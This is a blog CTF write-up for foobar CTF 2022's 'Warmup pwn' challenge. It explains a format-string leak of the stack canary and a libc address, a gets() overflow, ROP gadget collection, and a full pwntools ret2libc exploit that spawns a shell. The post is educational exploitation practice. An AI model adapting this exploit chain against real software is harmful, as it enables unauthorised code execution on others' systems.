F4zi's blog

Pwning binaries and defeating modern mitigations using rop and ret2libc (foobar 2022 pwn writeup)

In this article, i’ll explain and teach how to approach these kind of challenges, and how to defeat Stack canaries, ASLR, NX and PIE. Warmup pwn was a nice warm-up binary exploitation challenge from foobar ctf 2022, had fun solving it!

alt text

Approaching the challenge

In this challenge, we got 2 binaries: chall, libc.so.6

chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked,for GNU/Linux 3.2.0, not stripped

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

View the decompiled code in Ghidra to get a general overview of the binary

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  vuln();
  return 0;
}

void vuln(void)

{
  long in_FS_OFFSET;
  char canary_input [64];
  char buffer [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Can you help find the Canary ?");
  fgets(canary_input,0x40,stdin);
  printf(canary_input);
  fflush(stdout);
  gets(buffer);
  puts(buffer);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Looks like we have a few vulnerabilities here, starting from line 20, containing a format string vulnerability, which can lead us into reading registers and stack addresses, writing to known addresses, and reading strings from the binary

You still have to remember both PIE and ASLR are enabled, so we won’t be able to know the addresses of where we want to write to (they are randomized), lets stick with reading addresses for now.

Another vulnerable piece of code is on line 22 — gets function which can lead to buffer overflow, resulting in rewriting stack addresses and redirecting code flow.

printf(canary_input); // Read values from stack and registers
gets(buffer); // overflow buffer and stack

So how do we approach this challenge? firstly, we need to set the goal. Doesn’t seem like the flag is loaded into memory or printed anywhere in the binary, so we would have to get a shell here.

The most straightforward way we have to redirect code execution is by overwriting RIP, the instruction pointer, to our shellcode, but you have to remember, the NX bit is enabled, we can’t execute the stack.

This leads us to the ret2libc approach, we will redirect the code into a function in provided libc (system, preferably) to gain shell on the server.

Building the exploit

Firstly, to overwrite the instruction pointer, we have to defeat the stack canary, we can do that by leaking the value of the canary, then overwriting it with the correct value, right before overwriting the instruction pointer.

You can also defeat canaries with bruteforce, refer to here

How can we leak the canary? well, viewing the code, its simply stored on the stack, we can use printf to print values from the stack:

alt text

Breakpoint at the stack canary check, and compare the leaked stack values to the canary — now in rax.

use “%z$llx” format to get the z’th param as a long long hex value

Found the canary at the 23rd param, nice! now we have to perform a classic 64bit ret2libc.

Remember that you have to align the stack frame to 16 bits, we can do that by adding another ret gadget.

Collecting Gadgets

➜  warmup ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
0x0000000000023b72 : pop rdi ; ret
0x00000000001048ad : pop rdi ; retf

Final exploit

libc = ELF('libc.so.6', checksec=False)

io = start()

io.sendlineafter(b"?", b"%23$llx-%18$llx")
io.recvline()
data = io.recvline().strip().decode("utf-8").split('-')

cookie, stdout = data
cookie, stdout = int(cookie, 16), int(stdout, 16)

libc.address = stdout - libc.symbols['stdout'] + 232

padding = b"A" * 72
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc.address + 0x0000000000023b72

payload = [
    padding, cookie,
    b"A" * 8, pop_rdi_ret+1,
    pop_rdi_ret ,bin_sh,
    system, libc.symbols['exit'] 
]

io.sendline(flat(payload))

io.interactive()